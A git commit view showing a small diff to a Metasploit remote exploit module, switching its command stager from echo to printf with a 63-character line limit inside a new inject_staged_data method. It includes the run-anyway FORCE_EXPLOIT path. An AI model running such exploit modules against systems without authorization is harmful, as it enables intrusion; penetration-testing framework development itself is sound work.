Linemax 63, switch to printf

bug/bundler_fix
Tod Beardsley 2016-11-30 07:51:36 -06:00
parent 08b9684c1a
commit 657d52951b
No known key found for this signature in database
GPG Key ID: 08B5B91DC85943FE
1 changed files with 9 additions and 2 deletions

View File

@ -116,15 +116,22 @@ class MetasploitModule < Msf::Exploit::Remote
return Exploit::CheckCode::Safe
end
def inject_staged_data
execute_cmdstager(
flavor: :printf,
linemax: 63
)
end
def exploit
print_status("#{peer} - Checking...")
if check == Exploit::CheckCode::Appears
print_status("#{peer} - Appears vulnerable")
execute_cmdstager({:flavor => :echo})
inject_staged_data
elsif datastore['FORCE_EXPLOIT']
print_status("#{peer} - Doesn't appear vulnerable, but trying anyway.")
execute_cmdstager({:flavor => :echo})
inject_staged_data
else
fail_with(Failure::Unknown, "#{peer} - Failed to access the device")
end